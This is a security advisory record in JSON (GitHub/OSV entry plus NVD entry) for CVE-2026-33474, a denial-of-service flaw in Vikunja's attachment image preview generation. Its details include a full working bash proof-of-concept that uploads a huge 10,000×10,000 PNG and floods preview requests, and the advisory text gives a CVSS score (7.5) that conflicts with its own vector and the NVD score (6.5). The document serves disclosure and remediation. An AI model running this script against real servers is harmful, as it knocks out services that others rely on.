{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:43:11Z",
    "nvd_published_at": "2026-03-24T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.\n- Affected code:\n  - Decoding without bounds: [task_attachment.go:GetPreview](../../tree/main/pkg/models/task_attachment.go#L219-L229)\n  - Resizing path: [resizeImage](../../tree/main/pkg/models/task_attachment.go#L293-L304)\n  - Endpoint invoking preview: [GetTaskAttachment](../../tree/main/pkg/routes/api/v1/task_attachment.go#L195-L203)\n- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.\n- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\n## Preconditions\n- API running locally (`http://localhost:8080`).\n- Task attachments enabled: `task_attachments_enabled=true` in [Info](../../tree/main/pkg/routes/api/v1/info.go#L82-L160).\n- Any authenticated user with write access to a task.\n\n## How It Works\n- Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000\u00d710,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.\n- The first preview per attachment and size performs the heavy work; later requests are served from cache [keyvalue.Remember](../../tree/main/pkg/models/task_attachment.go#L220-L244).\n\n## Run The POC\n- Script: \n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nBASE_URL=\"${BASE_URL:-http://localhost:8080}\"\nUSERNAME=\"${USERNAME:-dosuser}\"\nEMAIL=\"${EMAIL:-dosuser@example.com}\"\nPASSWORD=\"${PASSWORD:-StrongPass123!}\"\nPROJECT_TITLE=\"${PROJECT_TITLE:-poc-dos-preview}\"\nTASK_TITLE=\"${TASK_TITLE:-DoS preview test}\"\nOUT_DIR=\"${OUT_DIR:-/tmp/vikunja-poc-dos}\"\n\nmkdir -p \"$OUT_DIR\"\n\necho \"[+] Checking instance info\"\ncurl -sS \"$BASE_URL/api/v1/info\" | tee \"$OUT_DIR/info.json\" \u003e/dev/null\nif ! grep -q \u0027\"task_attachments_enabled\":true\u0027 \"$OUT_DIR/info.json\"; then\n  echo \"[!] Task attachments disabled\"\n  exit 1\nfi\n\necho \"[+] Registering user (may already exist)\"\ncurl -sS -X POST \"$BASE_URL/api/v1/register\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"\u0027\"$USERNAME\"\u0027\",\"email\":\"\u0027\"$EMAIL\"\u0027\",\"password\":\"\u0027\"$PASSWORD\"\u0027\",\"language\":\"en\"}\u0027 \\\n  | tee \"$OUT_DIR/register.json\" \u003e/dev/null || true\n\necho \"[+] Logging in\"\ncurl -sS -X POST \"$BASE_URL/api/v1/login\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"\u0027\"$USERNAME\"\u0027\",\"password\":\"\u0027\"$PASSWORD\"\u0027\"}\u0027 \\\n  | tee \"$OUT_DIR/login.json\" \u003e/dev/null\nTOKEN=\"$(sed -n \u0027s/.*\"token\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p\u0027 \"$OUT_DIR/login.json\")\"\nif [ -z \"$TOKEN\" ]; then\n  echo \"[!] Failed to get token\"\n  exit 1\nfi\n\necho \"[+] Creating project\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/projects\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"title\":\"\u0027\"$PROJECT_TITLE\"\u0027\"}\u0027 \\\n  | tee \"$OUT_DIR/project.json\" \u003e/dev/null\nPROJECT_ID=\"$(python3 -c \u0027import json,sys; print(json.load(open(sys.argv[1]))[\"id\"])\u0027 \"$OUT_DIR/project.json\")\"\nif [ -z \"$PROJECT_ID\" ]; then\n  echo \"[!] Failed to get project id\"\n  exit 1\nfi\n\necho \"[+] Creating task\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/projects/$PROJECT_ID/tasks\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"title\":\"\u0027\"$TASK_TITLE\"\u0027\"}\u0027 \\\n  | tee \"$OUT_DIR/task.json\" \u003e/dev/null\nTASK_ID=\"$(python3 -c \u0027import json,sys; print(json.load(open(sys.argv[1]))[\"id\"])\u0027 \"$OUT_DIR/task.json\")\"\nif [ -z \"$TASK_ID\" ]; then\n  echo \"[!] Failed to get task id\"\n  exit 1\nfi\n\necho \"[+] Generating 10000x10000 PNG payload\"\npython3 - \u003c\u003c\u0027PY\u0027\nfrom PIL import Image\nimg = Image.new(\u0027RGB\u0027, (10000,10000), color=(0,0,0))\nimg.save(\u0027/tmp/vikunja-poc-dos/huge.png\u0027, optimize=True)\nPY\nfile \"$OUT_DIR/huge.png\" || true\nls -lh \"$OUT_DIR/huge.png\" || true\n\necho \"[+] Uploading attachment\"\ncurl -sS -X PUT \"$BASE_URL/api/v1/tasks/$TASK_ID/attachments\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -F \"files=@$OUT_DIR/huge.png\" \\\n  | tee \"$OUT_DIR/attach.json\" \u003e/dev/null\nATTACHMENT_ID=\"$(python3 -c \u0027import json,sys; d=json.load(open(sys.argv[1])); print(d[\"success\"][0][\"id\"])\u0027 \"$OUT_DIR/attach.json\")\"\nif [ -z \"$ATTACHMENT_ID\" ]; then\n  echo \"[!] Failed to get attachment id\"\n  exit 1\nfi\n\necho \"[+] Requesting preview (xl)\"\n/usr/bin/time -l curl -sS -o \"$OUT_DIR/preview_xl.png\" \\\n  \"$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl\" \\\n  -H \"Authorization: Bearer $TOKEN\" 2\u003e \"$OUT_DIR/time_xl.txt\"\ndu -h \"$OUT_DIR/preview_xl.png\" || true\nfile \"$OUT_DIR/preview_xl.png\" || true\necho \"[+] Timing and memory (from /usr/bin/time):\"\ncat \"$OUT_DIR/time_xl.txt\" || true\n\necho \"[+] Parallel preview requests (cache warm) x10\"\nseq 1 10 | xargs -P 5 -I{} sh -c \"curl -s -w \u0027%{time_total}\\n\u0027 -o /dev/null \\\n  \u0027$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl\u0027 \\\n  -H \u0027Authorization: Bearer $TOKEN\u0027\" | tee \"$OUT_DIR/parallel_times.txt\" \u003e/dev/null\necho \"[+] Done. Outputs in $OUT_DIR\"\n\n```\n- Uses `curl` and `python3` (Pillow) to generate a 10k\u00d710k PNG, upload it, and request an xl preview while recording timing and memory metrics.\n\n### Steps\n1. Ensure the API is running on `http://localhost:8080`.\n2. Execute:\n   ```\n   bash pocs/image-preview-dos/poc.sh\n   ```\n3. Outputs of interest:\n   - `/tmp/vikunja-poc-dos/time_xl.txt`: `/usr/bin/time -l` timing and memory for the preview request.\n   - `/tmp/vikunja-poc-dos/parallel_times.txt`: 10 parallel preview times with cache warmed.\n   - `/tmp/vikunja-poc-dos/preview_xl.png`: Generated 800\u00d7800 preview.\n\n### Environment Overrides\n- BASE_URL: API base (default `http://localhost:8080`)\n- USERNAME, EMAIL, PASSWORD: credentials for the test user\n- PROJECT_TITLE, TASK_TITLE: names for test artifacts\n- OUT_DIR: output directory (default `/tmp/vikunja-poc-dos`)\n\n## Expected Results\n- First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k\u00d710k image.\n- Subsequent requests are faster due to caching.\n- Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.\n\n## Remediation\n- Enforce bounds prior to decode:\n  - Reject images exceeding max width/height (e.g., 8000\u00d78000) or max total pixels (e.g., 20M).\n  - Fail early by reading headers to extract dimensions before full decode.\n- Add per-user and per-attachment rate limiting for preview generation.\n- Pre-generate previews asynchronously with throttling and backpressure.\n- Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.\n\n## Notes\n- This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.",
  "id": "GHSA-wc83-79hj-hpmq",
  "modified": "2026-03-25T20:59:27Z",
  "published": "2026-03-20T20:43:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wc83-79hj-hpmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33474"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja Affected by DoS via Image Preview Generation"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E116DBC4-C051-4E5D-9ADD-537A7132C725",
              "versionEndExcluding": "2.2.0",
              "versionStartIncluding": "1.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue."
    },
    {
      "lang": "es",
      "value": "Vikunja es una plataforma de gesti\u00f3n de tareas de c\u00f3digo abierto autoalojada. A partir de la versi\u00f3n 1.0.0-rc0 y anterior a la versi\u00f3n 2.2.0, la decodificaci\u00f3n y el redimensionamiento ilimitados de im\u00e1genes durante la generaci\u00f3n de previsualizaciones permiten a un atacante agotar la CPU y la memoria con im\u00e1genes altamente comprimidas pero de dimensiones extremadamente grandes. La versi\u00f3n 2.2.0 corrige el problema."
    }
  ],
  "id": "CVE-2026-33474",
  "lastModified": "2026-03-27T16:47:45.293",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-24T16:16:33.863",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wc83-79hj-hpmq"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}